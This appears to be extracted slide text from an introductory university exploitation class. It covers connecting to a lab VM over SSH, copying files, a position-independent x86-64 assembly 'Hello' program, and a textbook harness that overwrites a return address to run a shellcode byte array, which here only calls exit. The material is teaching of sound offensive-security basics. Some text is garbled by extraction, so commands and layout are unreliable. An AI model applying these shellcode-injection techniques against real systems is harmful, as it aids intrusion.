You will need to use a Remote Desktop program to connect to the system. If you did not click on the **Connect!** button from the computer you will be using to access the VCL system, you will need to return to the **Current Reservations** page and click the **Connect!** button from a web browser running on the same computer from which you will be connecting to the VCL system. Otherwise, you may be denied access to the remote computer.

Use the following information when you are ready to connect:

Remote Co	mputer: A 152.0.0.1 IP Address 🗍
User ID: You	ur NCSU Unity ID 🗍
Password:	(use your campus password)

Wait like another 3-5 minutes (VCL is slow to configure your credentials even after you go live)

Your assigned IP Address

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

The authenticity of host '152.0.0.1 (152.0.0.1)' can't be established.

This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '152.0.0.1' (ED25519) to the list of known hosts.

unity_id@152.0.0.1's password: <Type in your NCSU Password>

_____ | _ \ _ _ _ _ _ _ _ _ _ _ _ _ | |_ / ___| / ____ | |_) / _` | '__| '__/ _ \| __| ___ \ / _ \/ __| | __/ (_| | | | | | (_) | |_ ___) | __/ (____) |_| __,_|_| |__| __/ __| |____/ ___|

The programs included with the Parrot GNU/Linux are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Or run your own Linux VM

https://hackpack.club/learn/getting_started#linux-virtual-machine

How to copy files

With scp:

- \$ scp hack.txt akaprav@152.7.177.250:
- \$ scp akaprav@152.7.177.250:hack.txt .

With rsync:

- \$ rsync [options] source [user@host-ip]:dest-on-remote-machine
- \$ rsync [options] [user@host-ip]:source dest-on-local-machine

Task for Rest of Class


.text	
.global _start	Save helloV3.s to
_start:	Then, save the she
jmp saveme	
helloCall:	
pop %rsi	# puts "Hello\n" in to RSI
mov \$1, %rax	# opcode for write system call
mov \$1, %rdi	# 1st arg, stdout
mov %rsi, %rsi	# 2nd arg, address
mov \$6, %rdx	# 3rd arg, len
syscall	<pre># system call interrupt</pre>
jmp exitCall	# jump to exitCall label
exitCall:	
mov \$60, %rax	# sys_exit
mov \$0, %rdi	<pre># exit code 0 (success)</pre>
syscall	
saveme:	
<pre>call helloCall</pre>	
.string "Hello\n"	


3.s to your VM, compile it, and execute it e shelltest.s to your VM and execute it (first slide)

> unity id@vclvm555-55]—[~] \$gcc -c -no-pie helloV3.s -o helloV3 unity_id@vclvm555-55]—[~] \$gcc -c -no-pie helloV3.s -o helloV3.o unity_id@vclvm555-55]—[~] \$ld -o helloV3 helloV3.o unity_id@vclvm177-82]—[~] \$./helloV3 Hello

More Resources (optional but super helpful)

- The Shellcoder's Handbook by Jack Koziol et al
- Hacking The Art of Exploitation by Jon Erickson





46	Part 1 = Introduction to Exploitation: Linux on x86		
	<pre>char shellcode[] = *\xbb\x00\x00\x00\x00</pre>		
	"\xb8\x01\x00\x00"		
	"\xcd\x80";		
	int main()		
	ſ		
	<pre>int *ret;</pre>		
	ret = (int *)&ret + 2;		
	(*ret) = (int)shellcode;		